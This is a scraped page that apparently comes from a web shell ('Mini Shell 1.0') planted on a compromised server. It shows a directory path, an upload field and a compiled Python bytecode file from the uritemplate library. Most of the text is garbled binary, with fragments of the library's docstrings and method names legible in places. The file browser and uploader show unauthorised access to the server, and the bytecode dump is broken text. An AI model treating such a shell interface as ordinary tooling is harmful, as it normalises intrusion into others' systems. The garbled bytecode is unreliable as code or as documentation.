HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991110/cwd/usr/lib/python3/dist-packages/uritemplate/__pycache__/
Upload File :
Current File : //proc/1991110/cwd/usr/lib/python3/dist-packages/uritemplate/__pycache__/template.cpython-311.pyc
�

��fa����dZddlZddlZddlmZddlmZejd��Zdej	ej
dej
dej
fd	�ZGd
�d��ZdS)z�

uritemplate.template
====================

This module contains the essential inner workings of uritemplate.

What treasures await you:

- URITemplate class

You see a treasure chest of knowledge in front of you.
What do you do?
>

�N)�
orderedset)�variablez	{([^}]+)}�var_dict�	overrides�returnc�`�|r+|���}|�|��|S|S�N)�copy�update)rr�optss   �6/usr/lib/python3/dist-packages/uritemplate/template.py�_mergers6�����}�}�������I��������c���eZdZdZdefd�Zdefd�Zdefd�Zdede	fd�Z
defd	�Zd
e
jde	defd�Z	dd
eje
jde
jdefd�Z	dd
eje
jde
jddfd�Zd
S)�URITemplatea	This parses the template and will be used to expand it.

    This is the most important object as the center of the API.

    Example::

        from uritemplate import URITemplate
        import requests


        t = URITemplate(
            'https://api.github.com/users/sigmavirus24/gists{/gist_id}'
        )
        uri = t.expand(gist_id=123456)
        resp = requests.get(uri)
        for gist in resp.json():
            print(gist['html_url'])

    Please note::

        str(t)
        # 'https://api.github.com/users/sigmavirus24/gists{/gistid}'
        repr(t)  # is equivalent to
        # URITemplate(str(t))
        # Where str(t) is interpreted as the URI string.

    Also, ``URITemplates`` are hashable so they can be used as keys in
    dictionaries.

    �uric��||_d�t�|j��D��|_t	j��|_|jD]&}|jD]}|j�|����'dS)Nc�f�g|].}tj|���d����/S)r)r�URIVariable�groups)�.0�ms  r
�
<listcomp>z(URITemplate.__init__.<locals>.<listcomp>Ks?��8
�8
�8
��
� ������A��/�/�8
�8
�8
r)r�template_re�finditer�	variablesr�
OrderedSet�variable_names�add)�selfr�var�names    r
�__init__zURITemplate.__init__Fs������8
�8
� �)�)�$�(�3�3�8
�8
�8
���
)�3�5�5����>�	.�	.�C��*�
.�
.���#�'�'��-�-�-�-�
.�	.�	.rrc��d|zS)NzURITemplate("%s")��r s r
�__repr__zURITemplate.__repr__Us
��"�T�)�)rc��|jSr	)rr&s r
�__str__zURITemplate.__str__Xs	���x�r�otherc�Z�t|t��stS|j|jkSr	)�
isinstancer�NotImplementedr)r r*s  r
�__eq__zURITemplate.__eq__[s)���%��-�-�	"�!�!��x�5�9�$�$rc�*�t|j��Sr	)�hashrr&s r
�__hash__zURITemplate.__hash__`s���D�H�~�~�rr�replacec���|js|jS|}i�|jD]*}��|�|�����+dddtf�fd�}dddtf�fd�}|r|n|}t
�||j��S)N�matchz
re.Match[str]rc�`����|���dd��S)Nr�)�getr)r4�expandeds �r
�replace_allz(URITemplate._expand.<locals>.replace_allns$����<�<������q� 1�2�6�6�6rc�p��|���d}d|z}��|��p|S)Nrz{%s})rr7)r4�match_groupr!r8s   �r
�replace_partialz,URITemplate._expand.<locals>.replace_partialqs6����,�,�.�.��+�K��;�&�C��<�<��,�,�3��3r)rrr�expand�strr�sub)	r rr2�	expansion�vr9r<�replace_funcr8s	        @r
�_expandzURITemplate._expandcs�����~�	��8�O��	�%'����	1�	1�A��O�O�A�H�H�Y�/�/�0�0�0�0�	7��	7�3�	7�	7�	7�	7�	7�	7�	4�?�	4�s�	4�	4�	4�	4�	4�	4�
+2�B���{�����|�T�X�6�6�6rN�kwargsc�J�|�t||��d��S)amExpand the template with the given parameters.

        :param dict var_dict: Optional dictionary with variables and values
        :param kwargs: Alternative way to pass arguments
        :returns: str

        Example::

            t = URITemplate('https://api.github.com{/end}')
            t.expand({'end': 'users'})
            t.expand(end='gists')

        .. note:: Passing values by both parts, may override values in
                  ``var_dict``. For example::

                      expand('https://{var}', {'var': 'val1'}, var='val2')

                  ``val2`` will be used instead of ``val1``.

        F)rCr�r rrDs   r
r=zURITemplate.expandzs"��2�|�|�F�8�V�4�4�e�<�<�<rc�d�t|�t||��d����S)a�Partially expand the template with the given parameters.

        If all of the parameters for the template are not given, return a
        partially expanded template.

        :param dict var_dict: Optional dictionary with variables and values
        :param kwargs: Alternative way to pass arguments
        :returns: :class:`URITemplate`

        Example::

            t = URITemplate('https://api.github.com{/end}')
            t.partial()  # => URITemplate('https://api.github.com{/end}')

        T)rrCrrFs   r
�partialzURITemplate.partial�s*��(�4�<�<��x��(@�(@�$�G�G�H�H�Hrr	)�__name__�
__module__�__qualname__�__doc__r>r#r'r)�object�boolr.�intr1r�VariableValueDictrC�t�Optional�
VariableValuer=rHr%rr
rr%su��������>
.�C�
.�
.�
.�
.�*�#�*�*�*�*�������%�F�%�t�%�%�%�%�
�#�����7� �2�7�=A�7�	�7�7�7�7�2<@�=�=��*�X�7�8�=��(�=�

�	=�=�=�=�:<@�I�I��*�X�7�8�I��(�I�
�	I�I�I�I�I�Irr)
rL�re�typingrQ�uritemplaterr�compilerrRrPrrr%rr
�<module>rXs����� 
�	�	�	�����"�"�"�"�"�"� � � � � � ��b�j��%�%����j��3�4���)��������DI�DI�DI�DI�DI�DI�DI�DI�DI�DIr